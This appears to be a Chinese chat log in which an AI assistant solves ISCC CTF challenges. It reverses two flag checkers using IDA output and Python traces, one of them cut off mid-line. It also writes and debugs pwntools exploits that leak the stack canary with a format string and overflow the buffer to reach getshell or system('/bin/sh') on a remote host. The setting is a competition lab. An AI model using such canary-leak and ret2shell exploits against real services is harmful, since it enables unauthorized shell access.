0000000000000078 // Use data definition commands t...
创建于:2026年5月6日
使用 GPT-5.5 Thinking 回答 Chat01
创建于:2026年5月6日
使用 GPT-5.5 Thinking 回答 Chat01
0000000000000078 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000078 // Frame size: 78; Saved regs: 4; Purge: 0
-0000000000000078
-0000000000000078 // padding byte
-0000000000000077 // padding byte
-0000000000000076 // padding byte
-0000000000000075 // padding byte
-0000000000000074 _DWORD var_74;
-0000000000000070 _BYTE buf;
-000000000000006F // padding byte
-000000000000006E // padding byte
-000000000000006D // padding byte
-000000000000006C // padding byte
-000000000000006B // padding byte
-000000000000006A // padding byte
-0000000000000069 // padding byte
-0000000000000068 // padding byte
-0000000000000067 // padding byte
-0000000000000066 // padding byte
-0000000000000065 // padding byte
-0000000000000064 // padding byte
-0000000000000063 // padding byte
-0000000000000062 // padding byte
-0000000000000061 // padding byte
-0000000000000060 // padding byte
-000000000000005F // padding byte
-000000000000005E // padding byte
-000000000000005D // padding byte
-000000000000005C // padding byte
-000000000000005B // padding byte
-000000000000005A // padding byte
-0000000000000059 // padding byte
-0000000000000058 // padding byte
-0000000000000057 // padding byte
-0000000000000056 // padding byte
-0000000000000055 // padding byte
-0000000000000054 // padding byte
-0000000000000053 // padding byte
-0000000000000052 // padding byte
-0000000000000051 // padding byte
-0000000000000050 // padding byte
-000000000000004F // padding byte
-000000000000004E // padding byte
-000000000000004D // padding byte
-000000000000004C // padding byte
-000000000000004B // padding byte
-000000000000004A // padding byte
-0000000000000049 // padding byte
-0000000000000048 // padding byte
-0000000000000047 // padding byte
-0000000000000046 // padding byte
-0000000000000045 // padding byte
-0000000000000044 // padding byte
-0000000000000043 // padding byte
-0000000000000042 // padding byte
-0000000000000041 // padding byte
-0000000000000040 // padding byte
-000000000000003F // padding byte
-000000000000003E // padding byte
-000000000000003D // padding byte
-000000000000003C // padding byte
-000000000000003B // padding byte
-000000000000003A // padding byte
-0000000000000039 // padding byte
-0000000000000038 // padding byte
-0000000000000037 // padding byte
-0000000000000036 // padding byte
-0000000000000035 // padding byte
-0000000000000034 // padding byte
-0000000000000033 // padding byte
-0000000000000032 // padding byte
-0000000000000031 // padding byte
-0000000000000030 // padding byte
-000000000000002F // padding byte
-000000000000002E // padding byte
-000000000000002D // padding byte
-000000000000002C // padding byte
-000000000000002B // padding byte
-000000000000002A // padding byte
-0000000000000029 // padding byte
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 // padding byte
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C // padding byte
-000000000000001B // padding byte
-000000000000001A // padding byte
-0000000000000019 // padding byte
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 // padding byte
-0000000000000013 // padding byte
-0000000000000012 // padding byte
-0000000000000011 // padding byte
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C _DWORD var_C;
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address;
+0000000000000008
+0000000000000008 // end of stack variables
This stack-frame view means IDA has only identified buf as a single byte, but the long run of “padding byte” entries strongly suggests it is really an array.
Likely intended layout:
c// frame size: 0x78 bytes // 32-bit function: saved register/frame ptr at +0, return address at +4 char padding_top[4]; // [ebp-0x78 .. ebp-0x75] uint32_t var_74; // [ebp-0x74 .. ebp-0x71] uint8_t buf[0x64]; // [ebp-0x70 .. ebp-0x0D], 100 bytes uint32_t var_C; // [ebp-0x0C .. ebp-0x09] char padding_bottom[8]; // [ebp-0x08 .. ebp-0x01] saved_regs; // [ebp+0x00] return_address; // [ebp+0x04]
So the important part is:
c_BYTE buf; // IDA's current guess
should probably be treated as:
c_BYTE buf[0x64]; // 100 bytes
From the start of buf at -0x70:
| Target | Offset from buf |
|---|---|
var_C | 0x64 / 100 bytes |
| saved register / saved frame pointer | 0x70 / 112 bytes |
| return address | 0x74 / 116 bytes |
So if this is a stack overflow situation, the saved return address is likely reached after 116 bytes from the start of buf, and the next 4 bytes would overwrite the return address in a 32-bit binary.
In IDA, you can clean this up by changing buf into an array of 0x64 bytes in the stack frame view, so the decompiler will show something closer to:
cchar buf[100];
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v3; // al
void **v5; // ecx
int v6; // esi
int v7; // eax
int v8; // ebx
int v9; // ecx
int v10; // eax
void **v11; // eax
int v12; // esi
int v13; // eax
int v14; // ebx
int v15; // ecx
int v16; // eax
int v17; // ecx
int i; // esi
int v19; // eax
void **v20; // esi
int j; // edi
void **v22; // ebx
_DWORD *v23; // esi
unsigned int v24; // edi
unsigned int v25; // edx
const char *v26; // ecx
int v27; // eax
int v28; // eax
bool v29; // zf
int v30; // eax
int v31; // eax
int v32; // esi
void **v33; // esi
const char *v34; // eax
int v35; // eax
void **v36; // esi
unsigned int v37; // edx
unsigned __int8 *v38; // esi
const char *v39; // ecx
int v40; // eax
int v41; // eax
bool v42; // zf
int v43; // eax
int v44; // eax
int v45; // esi
int v46; // eax
int v47; // ebx
int v48; // ecx
int v49; // eax
int v50; // [esp+0h] [ebp-22Ch]
_DWORD *k; // [esp+14h] [ebp-218h]
int v52; // [esp+18h] [ebp-214h]
int v53; // [esp+1Ch] [ebp-210h]
void *v54[4]; // [esp+20h] [ebp-20Ch] BYREF
void *v55; // [esp+30h] [ebp-1FCh]
unsigned int v56; // [esp+34h] [ebp-1F8h]
void *v57[4]; // [esp+3Ch] [ebp-1F0h] BYREF
int v58; // [esp+4Ch] [ebp-1E0h]
unsigned int v59; // [esp+50h] [ebp-1DCh]
void *v60[5]; // [esp+58h] [ebp-1D4h] BYREF
unsigned int v61; // [esp+6Ch] [ebp-1C0h]
void *v62; // [esp+74h] [ebp-1B8h] BYREF
unsigned int v63; // [esp+84h] [ebp-1A8h]
unsigned int v64; // [esp+88h] [ebp-1A4h]
void *v65; // [esp+90h] [ebp-19Ch]
int v66; // [esp+A0h] [ebp-18Ch]
unsigned int v67; // [esp+A4h] [ebp-188h]
void *v68; // [esp+ACh] [ebp-180h]
int v69; // [esp+B0h] [ebp-17Ch]
int v70; // [esp+B4h] [ebp-178h]
int v71; // [esp+B8h] [ebp-174h]
int v72; // [esp+BCh] [ebp-170h]
unsigned int v73; // [esp+C0h] [ebp-16Ch]
int v74; // [esp+C4h] [ebp-168h]
int v75; // [esp+C8h] [ebp-164h]
int v76; // [esp+CCh] [ebp-160h]
int v77; // [esp+D0h] [ebp-15Ch]
_DWORD v78[10]; // [esp+D4h] [ebp-158h]
_DWORD String[71]; // [esp+FCh] [ebp-130h] BYREF
int v80; // [esp+228h] [ebp-4h]
v56 = 15;
v55 = 0;
LOBYTE(v54[0]) = 0;
v80 = 1;
v59 = 15;
v58 = 0;
LOBYTE(v57[0]) = 0;
sub_407710(&unk_424940, "Enter Flag: ");
v3 = sub_407520(10);
sub_407F10(&dword_4249F8, v57, v3);
if ( !v58 )
{
sub_407710(&unk_424940, "Press Enter to continue...");
sub_404220();
if ( v59 >= 0x10 )
operator delete(v57[0]);
v59 = 15;
v58 = 0;
LOBYTE(v57[0]) = 0;
return 1;
}
v5 = (void **)v57[0];
if ( v59 < 0x10 )
v5 = v57;
if ( *((_BYTE *)v5 + v58 - 1) != 125 )
{
v6 = sub_407710(&unk_424940, "Flag must start with 'ISCC{'and end with'}'");
sub_404030(10);
v7 = (_DWORD )((_DWORD )v6 + 4);
v8 = 0;
if ( ((_BYTE )(v7 + v6 + 12) & 6) == 0
&& ((int (__thiscall )(_DWORD))((_DWORD **)(v7 + v6 + 56) + 52))((_DWORD *)(v7 + v6 + 56)) == -1 )
{
v8 = 4;
}
v9 = v6 + *(_DWORD )((_DWORD *)v6 + 4);
if ( v8 )
{
v10 = v8 | *(_DWORD )(v9 + 12);
if ( !(_DWORD *)(v9 + 56) )
v10 |= 4u;
sub_401650(v10, 0);
}
sub_407710(&unk_424940, "Press Enter to continue...");
sub_404220();
if ( v59 >= 0x10 )
operator delete(v57[0]);
v59 = 15;
v58 = 0;
LOBYTE(v57[0]) = 0;
return 1;
}
v11 = (void **)v57[0];
if ( v59 < 0x10 )
v11 = v57;
if ( !(unsigned __int8)sub_402C00(v11) )
{
v12 = sub_407710(&unk_424940, "Flag must start with 'ISCC{'");
sub_404030(10);
v13 = (_DWORD )((_DWORD )v12 + 4);
v14 = 0;
if ( ((_BYTE )(v13 + v12 + 12) & 6) == 0
&& ((int (__thiscall )(_DWORD))((_DWORD **)(v13 + v12 + 56) + 52))((_DWORD *)(v13 + v12 + 56)) == -1 )
{
v14 = 4;
}
v15 = v12 + *(_DWORD )((_DWORD *)v12 + 4);
if ( v14 )
{
v16 = v14 | *(_DWORD )(v15 + 12);
if ( !(_DWORD *)(v15 + 56) )
v16 |= 4u;
sub_401650(v16, 0);
}
sub_407710(&unk_424940, "Press Enter to continue...");
sub_404220();
if ( v59 >= 0x10 )
operator delete(v57[0]);
v59 = 15;
v58 = 0;
LOBYTE(v57[0]) = 0;
return 1;
}
sub_402D30(v57);
LOBYTE(v80) = 2;
v69 = 0;
v70 = 0;
v71 = 0;
v72 = 0;
v73 = 0;
v74 = 0;
v75 = 0;
v76 = 0;
v77 = 0;
v78[0] = 5;
v78[1] = 344;
v78[2] = 13;
v78[3] = 21;
v78[4] = 34;
v78[5] = 55;
v78[6] = 89;
v78[7] = 144;
v78[8] = 233;
v78[9] = 377;
eh vector constructor iterator'(String, 0x1Cu, 10, loc_403B90, sub_403C60); LOBYTE(v80) = 3; v68 = (void *)1; v69 = 1; v70 = 1; v71 = 1; v72 = 1; v73 = 1; v74 = 1; v75 = 1; v76 = 1; v77 = 1; v17 = 0; for ( i = 1; i < 1000; ++i ) { v19 = v17 % -10; v17 = v17 % -10 + i + 1; *(&v68 + v19) = 0; } v20 = (void **)String; for ( j = 0; j < 10; ++j ) { if ( *(void **)((char *)&v68 + j * 4) ) { v22 = (void **)sub_402DD0(v60, v78[j]); if ( v20 != v22 ) { if ( (unsigned int)v20[5] >= 0x10 ) operator delete(*v20); v20[5] = (void *)15; v20[4] = 0; *(_BYTE *)v20 = 0; if ( (unsigned int)v22[5] >= 0x10 ) { *v20 = *v22; *v22 = 0; } else { memcpy(v20, v22, (size_t)v22[4] + 1); } v20[4] = v22[4]; v20[5] = v22[5]; v22[4] = 0; v22[5] = 0; } LOBYTE(v80) = 3; if ( v61 >= 0x10 ) operator delete(v60[0]); } else { sub_406040("0", 1u); } v20 += 7; } v23 = String; v53 = 0; v52 = 0; for ( k = String; ; v23 = k ) { v24 = v23[4]; v25 = v24; if ( v24 ) v25 = 1; if ( v23[5] >= 0x10u ) v23 = (_DWORD *)*v23; v26 = "0"; if ( v25 < 4 ) { LABEL_56: if ( !v25 ) goto LABEL_65; } else { while ( *v23 == *(_DWORD *)v26 ) { v25 -= 4; v26 += 4; ++v23; if ( v25 < 4 ) goto LABEL_56; } } v27 = *(unsigned __int8 *)v23 - *(unsigned __int8 *)v26; if ( v27 ) goto LABEL_64; if ( v25 > 1 ) { v27 = *((unsigned __int8 *)v23 + 1) - *((unsigned __int8 *)v26 + 1); if ( v27 ) goto LABEL_64; if ( v25 > 2 ) { v27 = *((unsigned __int8 *)v23 + 2) - *((unsigned __int8 *)v26 + 2); if ( v27 ) goto LABEL_64; if ( v25 > 3 ) { v27 = *((unsigned __int8 *)v23 + 3) - *((unsigned __int8 *)v26 + 3); LABEL_64: v28 = (v27 >> 31) | 1; goto LABEL_66; } } } LABEL_65: v28 = 0; LABEL_66: v29 = v28 == 0; if ( !v28 ) { if ( v24 ) v30 = v24 != 1; else v30 = -1; v29 = v30 == 0; } if ( v29 || !k[4] ) goto LABEL_100; v31 = v53 + 1; v53 = v31; if ( v31 == 1 ) { v32 = sub_401FF0(v60, v50); if ( v54 == (void **)v32 ) goto LABEL_81; if ( v56 >= 0x10 ) operator delete(v54[0]); v56 = 15; v55 = 0; LOBYTE(v54[0]) = 0; if ( *(_DWORD *)(v32 + 20) < 0x10u ) { LABEL_78: memcpy(v54, (const void *)v32, *(_DWORD *)(v32 + 16) + 1); LABEL_80: v55 = *(void **)(v32 + 16); v56 = *(_DWORD *)(v32 + 20); *(_DWORD *)(v32 + 16) = 0; *(_DWORD *)(v32 + 20) = 0; goto LABEL_81; } LABEL_79: v54[0] = *(void **)v32; *(_DWORD *)v32 = 0; goto LABEL_80; } if ( v31 == 2 ) { v32 = sub_402370(v60, k); if ( v54 == (void **)v32 ) { LABEL_81: LOBYTE(v80) = 3; if ( v61 < 0x10 ) goto LABEL_100; LABEL_82: operator delete(v60[0]); goto LABEL_100; } if ( v56 >= 0x10 ) operator delete(v54[0]); v56 = 15; v55 = 0; LOBYTE(v54[0]) = 0; if ( *(_DWORD *)(v32 + 20) < 0x10u ) goto LABEL_78; goto LABEL_79; } if ( v31 != 3 ) break; v33 = (void **)sub_402410(k); if ( v54 != v33 ) { if ( v56 >= 0x10 ) operator delete(v54[0]); v56 = 15; v55 = 0; LOBYTE(v54[0]) = 0; if ( (unsigned int)v33[5] >= 0x10 ) { v54[0] = *v33; *v33 = 0; } else { memcpy(v54, v33, (size_t)v33[4] + 1); } v55 = v33[4]; v56 = (unsigned int)v33[5]; v33[4] = 0; v33[5] = 0; } LOBYTE(v80) = 3; if ( v61 >= 0x10 ) goto LABEL_82; LABEL_100: k += 7; if ( ++v52 >= 10 ) goto LABEL_115; } if ( v31 != 4 ) goto LABEL_100; v34 = (const char *)&String[7 * v52]; if ( String[7 * v52 + 5] >= 0x10u ) v34 = *(const char **)v34; v35 = atoi(v34); sub_401AC0(v35); LOBYTE(v80) = 8; v36 = (void **)sub_401B80(v60, v50); if ( v54 != v36 ) { if ( v56 >= 0x10 ) operator delete(v54[0]); v56 = 15; v55 = 0; LOBYTE(v54[0]) = 0; if ( (unsigned int)v36[5] >= 0x10 ) { v54[0] = *v36; *v36 = 0; } else { memcpy(v54, v36, (size_t)v36[4] + 1); } v55 = v36[4]; v56 = (unsigned int)v36[5]; v36[4] = 0; v36[5] = 0; } if ( v73 >= 0x10 ) operator delete(v68); LOBYTE(v80) = 3; if ( v61 >= 0x10 ) operator delete(v60[0]); LABEL_115: sub_402FD0(v54, v50); LOBYTE(v80) = 10; v37 = v63; if ( v63 >= 0x30 ) v37 = 48; v38 = (unsigned __int8 *)v62; if ( v64 < 0x10 ) v38 = (unsigned __int8 *)&v62; v39 = "5BE40A502A2D7BF0E90B66D009008089A6949A7F04476E80"; if ( v37 < 4 ) { LABEL_122: if ( v37 ) goto LABEL_123; goto LABEL_131; } while ( *(_DWORD *)v38 == *(_DWORD *)v39 ) { v37 -= 4; v39 += 4; v38 += 4; if ( v37 < 4 ) goto LABEL_122; } LABEL_123: v40 = *v38 - *(unsigned __int8 *)v39; if ( v40 ) { LABEL_130: v41 = (v40 >> 31) | 1; } else { if ( v37 > 1 ) { v40 = v38[1] - *((unsigned __int8 *)v39 + 1); if ( v40 ) goto LABEL_130; if ( v37 > 2 ) { v40 = v38[2] - *((unsigned __int8 *)v39 + 2); if ( v40 ) goto LABEL_130; if ( v37 > 3 ) { v40 = v38[3] - *((unsigned __int8 *)v39 + 3); goto LABEL_130; } } } LABEL_131: v41 = 0; } v42 = v41 == 0; if ( !v41 ) { if ( v63 >= 0x30 ) v43 = v63 != 48; else v43 = -1; v42 = v43 == 0; } if ( v42 ) v44 = sub_407710(&unk_424940, "Congratulations! Flag is correct!"); else v44 = sub_407710(&unk_424940, "Flag is incorrect!"); v45 = v44; sub_404030(10); v46 = *(_DWORD *)(*(_DWORD *)v45 + 4); v47 = 0; if ( (*(_BYTE *)(v46 + v45 + 12) & 6) == 0 && (*(int (__thiscall **)(_DWORD))(**(_DWORD **)(v46 + v45 + 56) + 52))(*(_DWORD *)(v46 + v45 + 56)) == -1 ) { v47 = 4; } v48 = v45 + *(_DWORD *)(*(_DWORD *)v45 + 4); if ( v47 ) { v49 = v47 | *(_DWORD *)(v48 + 12); if ( !*(_DWORD *)(v48 + 56) ) v49 |= 4u; sub_401650(v49, 0); } sub_407710(&unk_424940, "Press Enter to continue..."); sub_404220(); if ( v64 >= 0x10 ) operator delete(v62); v64 = 15; v63 = 0; LOBYTE(v62) = 0; LOBYTE(v80) = 2; eh vector destructor iterator'(String, 0x1Cu, 10, sub_403C60);
if ( v67 >= 0x10 )
operator delete(v65);
v67 = 15;
v66 = 0;
LOBYTE(v65) = 0;
if ( v59 >= 0x10 )
operator delete(v57[0]);
v59 = 15;
v58 = 0;
LOBYTE(v57[0]) = 0;
if ( v56 >= 0x10 )
operator delete(v54[0]);
return 0;
}(根据以上ida反汇编内容,逆向出flag)
pythonv17=0 seen=[] for i in range(1,1000): # C % -10 for positive v17 same as v17%10 v19=v17 % 10 v17=v17%10+i+1 seen.append(v19) sorted(set(seen)), seen[:30], seen[-10:] ([0, 2, 4, 5, 7, 9], [0, 2, 5, 9, 4, 0, 7, 5, 4, 4, 5, 7, 0, 4, 9, 5, 2, 0, 9, 9, 0, 2, 5, 9, 4, 0, 7, 5, 4, 4], [4, 5, 7, 0, 4, 9, 5, 2, 0, 9])
pythonimport hashlib, binascii TARGET_HEX = "5BE40A502A2D7BF0E90B66D009008089A6949A7F04476E80" TARGET = bytes.fromhex(TARGET_HEX) len(TARGET), TARGET (24, b'[\xe4\nP*-{\xf0\xe9\x0bf\xd0\t\x00\x80\x89\xa6\x94\x9a\x7f\x04Gn\x80')
pythonimport hashlib def rc4(data: bytes, key: bytes) -> bytes: s = list(range(256)) j = 0 for i in range(256): j = (j + s[i] + key[i % len(key)]) & 0xff s[i], s[j] = s[j], s[i] i = 0 j = 0 out = bytearray() for b in data: i = (i + 1) & 0xff j = (j + s[i]) & 0xff s[i], s[j] = s[j], s[i] out.append(b ^ s[(s[i] + s[j]) & 0xff]) return bytes(out) def tea_decrypt_block(block: bytes, key_words): v0 = int.from_bytes(block[:4], "little") v1 = int.from_bytes(block[4:], "little") delta = 0x9E3779B9 total = (delta * 32) & 0xffffffff k0, k1, k2, k3 = key_words for _ in range(32): v1 = (v1 - ((((v0 << 4) & 0xffffffff) + k2) ^ ((v0 + total) & 0xffffffff) ^ ((v0 >> 5) + k3))) & 0xffffffff v0 = (v0 - ((((v1 << 4) & 0xffffffff) + k0) ^ ((v (b'\x0e\xb3#\x99V\xc7\xec%\x8b\xb3,%\xb2\\\x94\x84\xbd\xa5\x80F\xd7\xa1S\x01', 24, 1)
pythonstage3 = stage3_padded[:-stage3_padded[-1]] stage2 = bytes((b - ord("89"[i % 2])) % 256 for i, b in enumerate(stage3)) stage1 = bytes(b ^ ord("21"[i % 2]) for i, b in enumerate(stage2)) plain = rc4(stage1, b"344") stage3, stage2, stage1, plain, plain.decode('latin1') (b'\x0e\xb3#\x99V\xc7\xec%\x8b\xb3,%\xb2\\\x94\x84\xbd\xa5\x80F\xd7\xa1S', b'\xd6z\xeb`\x1e\x8e\xb4\xecSz\xf4\xecz#\\K\x85lH\r\x9fh\x1b', b'\xe4K\xd9Q,\xbf\x86\xddaK\xc6\xddH\x12nz\xb7]z<\xadY)', b'lsryatwyoouacieuIIlhdle', 'lsryatwyoouacieuIIlhdle')
pythondef tea_encrypt_block(block: bytes, key_words): v0 = int.from_bytes(block[:4], "little") v1 = int.from_bytes(block[4:], "little") delta = 0x9E3779B9 total = 0 k0, k1, k2, k3 = key_words for _ in range(32): total = (total + delta) & 0xffffffff v0 = (v0 + ((((v1 << 4) & 0xffffffff) + k0) ^ ((v1 + total) & 0xffffffff) ^ ((v1 >> 5) + k1))) & 0xffffffff v1 = (v1 + ((((v0 << 4) & 0xffffffff) + k2) ^ ((v0 + total) & 0xffffffff) ^ ((v0 >> 5) + k3))) & 0xffffffff return v0.to_bytes(4, "little") + v1.to_bytes(4, "little") plain = b'lsryatwyoouacieuIIlhdle' stage1_f = rc4(plain, b"344") stage2_f = bytes(b ^ ord("21"[i%2]) for i,b in enumerate(stage1_f)) stage3_f = bytes((b + ord("89"[i%2])) % 256 for i,b in enumerate(stage2_f)) pad = 8 - (len(stage3_f) & 7) padded = stage3_f + bytes([pad])*pad cipher = b''.join(tea_encrypt_block(padded[i:i+8], tea_key) for i in range(0, len(padded), 8)) cipher.hex().upper() '5BE40A502A2D7BF0E90B66D009008089A6949A7F04476E80'
逆出来的 flag 是:
textISCC{lsryatwyoouacieuIIlhdle}
关键逻辑如下:
前面的“兔子洞”循环最终只保留索引 1、3、6、8,对应 Fibonacci 数组里的 344、21、89、233。也就是说真正参与变换的 key 是这四个。(Sunny个人小记 - 我的生活·语文·课堂·技术手记)
正向校验流程是:
textinner_flag -> RC4(key="344") -> XOR(key="21") -> ADD(key="89") -> PKCS#7 padding 到 8 字节 -> TEA encrypt(key = SHA256("233")[:16]) -> 大写 HEX -> 和目标串比较
其中 sub_401FF0 是 RC4,sub_402370 是循环 XOR,sub_402410 是按 key 循环加法,sub_401B80 是 TEA 加密,sub_402FD0 是转大写十六进制。(Sunny个人小记 - 我的生活·语文·课堂·技术手记)
text5BE40A502A2D7BF0E90B66D009008089A6949A7F04476E80
反向执行:
textHEX -> TEA 解密 -> 去 padding -> 减 "89" -> XOR "21" -> RC4("344")
得到花括号内部:
textlsryatwyoouacieuIIlhdle
所以最终:
textISCC{lsryatwyoouacieuIIlhdle}
解答这道逆向题
解答这道逆向题并拿到flag
拿到的 flag 是:
textISCC{47>3^]+7YD@~@^@1a5|bX<d~OH*8`1}
核心逆向过程:
cprintf("Input Flag: "); scanf("%36s", input);
程序要求输入长度为 36。然后对每个字符依次执行 3 个变换函数:
textfunc_401000 -> func_401050 -> func_4010D0
每个位置 i 的正向变换可整理为:
pythonb = flag[i] b = rol8(b ^ 0x55, 2) b = (b + i) & 0xff b = b ^ key[i % 8] # key = 12 34 56 78 90 AB CD EF b = (b + 0x7f) & 0xff b = b ^ ((i + 0x20) & 0xff)
之后程序动态解密一段 shellcode/校验函数。无调试状态下 seed 是:
text0xDEADBEEF
解密后得到 36 字节目标值:
pythontarget = [ 0xC1,0x8D,0xA9,0x81,0x8F,0x85,0xE7,0xFD, 0x1A,0xA9,0xD1,0xD0,0xA8,0x38,0x30,0x24, 0x1D,0xE1,0xD5,0xAD,0x80,0xF8,0xEF,0xE4, 0x5D,0xC1,0x52,0x1D,0xEB,0x90,0xE0,0x4D, 0x06,0x01,0x26,0x79 ]
反向脚本:
pythontarget = [ 0xC1,0x8D,0xA9,0x81,0x8F,0x85,0xE7,0xFD, 0x1A,0xA9,0xD1,0xD0,0xA8,0x38,0x30,0x24, 0x1D,0xE1,0xD5,0xAD,0x80,0xF8,0xEF,0xE4, 0x5D,0xC1,0x52,0x1D,0xEB,0x90,0xE0,0x4D, 0x06,0x01,0x26,0x79 ] key = [0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF] def ror8(x, n): return ((x >> n) | ((x << (8 - n)) & 0xff)) & 0xff flag = [] for i, b in enumerate(target): b ^= (i + 0x20) & 0xff b = (b - 0x7f) & 0xff b ^= key[i % 8] b = (b - i) & 0xff b = ror8(b, 2) b ^= 0x55 flag.append(b) print(bytes(flag).decode())
输出:
textISCC{47>3^]+7YD@~@^@1a5|bX<d~OH*8`1}
为这道pwn题编写尽可能简洁的脚本
最简利用脚本如下:
pythonfrom pwn import * context(arch='i386', os='linux') elf = ELF('./pwn') # io = process('./pwn') io = remote('IP', PORT) io.recvuntil(b'Hello Hacker!\n') # 第一次 read + printf,泄露 canary io.sendline(b'%31$p') canary = int(io.recvline().strip(), 16) log.success(f'canary = {hex(canary)}') # 第二次 read,栈溢出打 getshell payload = b'a' * 100 payload += p32(canary) payload += b'b' * 12 payload += p32(elf.sym['getshell']) io.sendline(payload) io.interactive()
关键点:
textcanary 下标: %31$p buf 到 canary: 100 字节 canary 到 ret: 12 字节 getshell 地址: 0x080491c6
本地打的话把这行:
pythonio = remote('IP', PORT)
换成:
pythonio = process('./pwn')
本地能打通,线上不行,以下是报错信息:'/mnt/hgfs/Desktop/憧憬成为pwn高手/bisa/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
[+] Opening connection to 39.96.193.120 on port 10018: Done
[DEBUG] Received 0xd bytes:
b'Hello Hacker!'
[DEBUG] Received 0x1 bytes:
b'\n'
[DEBUG] Sent 0x6 bytes:
b'%31$p\n'
[DEBUG] Received 0xb bytes:
b'0xcd670a00\n'
[+] canary = 0xcd670a00
[DEBUG] Sent 0x79 bytes:
00000000 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000060 61 61 61 61 00 0a 67 cd 62 62 62 62 62 62 62 62 │aaaa│··g·│bbbb│bbbb│
00000070 62 62 62 62 c6 91 04 08 0a │bbbb│····│·│
00000079
[] Switching to interactive mode
[] Got EOF while reading in interactive
你这次线上失败的关键点在日志里:
textcanary = 0xcd670a00 p32(canary) = 00 0a 67 cd
canary 里有一个 0x0a,也就是换行符。你用的是 sendline(payload),payload 中间本来就有换行,再加上末尾换行,线上环境很容易提前截断/读乱。所以本地能通,线上这次直接 EOF。
把第二次输入改成 send(payload),不要用 sendline(payload);同时建议 canary 里出现 \n 时直接重连重打。
最简稳定版:
pythonfrom pwn import * context(arch='i386', os='linux', log_level='debug') elf = ELF('./pwn') HOST = '39.96.193.120' PORT = 10018 while True: io = remote(HOST, PORT) io.recvuntil(b'Hello Hacker!\n') # leak canary io.sendline(b'%31$p') canary = int(io.recvline().strip(), 16) log.success(f'canary = {hex(canary)}') # 你这次就是 00 0a 67 cd,中间有换行,线上容易炸 if b'\n' in p32(canary): io.close() continue payload = b'a' * 100 payload += p32(canary) payload += b'b' * 12 payload += p32(elf.sym['getshell']) # 第二次一定用 send,不要 sendline io.send(payload) io.interactive() break
更推荐用 system("/bin/sh"),比跳 getshell() 更干净一点:
pythonfrom pwn import * context(arch='i386', os='linux', log_level='debug') elf = ELF('./pwn') HOST = '39.96.193.120' PORT = 10018 while True: io = remote(HOST, PORT) io.recvuntil(b'Hello Hacker!\n') io.sendline(b'%31$p') canary = int(io.recvline().strip(), 16) log.success(f'canary = {hex(canary)}') if b'\n' in p32(canary): io.close() continue system = elf.plt['system'] binsh = next(elf.search(b'/bin/sh')) payload = b'a' * 100 payload += p32(canary) payload += b'b' * 12 payload += p32(system) payload += p32(0xdeadbeef) payload += p32(binsh) io.send(payload) # 没有 shell 提示符,直接发命令 io.sendline(b'cat flag') io.interactive() break
如果还 EOF,就先加一句验证第二次 printf 是否执行:
pythonio.send(payload) io.recvuntil(b'a' * 100, timeout=1) io.sendline(b'cat flag') io.interactive()
能收到 100 个 a 说明第二次 read/printf 已经走完,后面就是 ret2shell 的问题;收不到则说明 payload 在第二次输入阶段就被截断或服务端二进制不一致。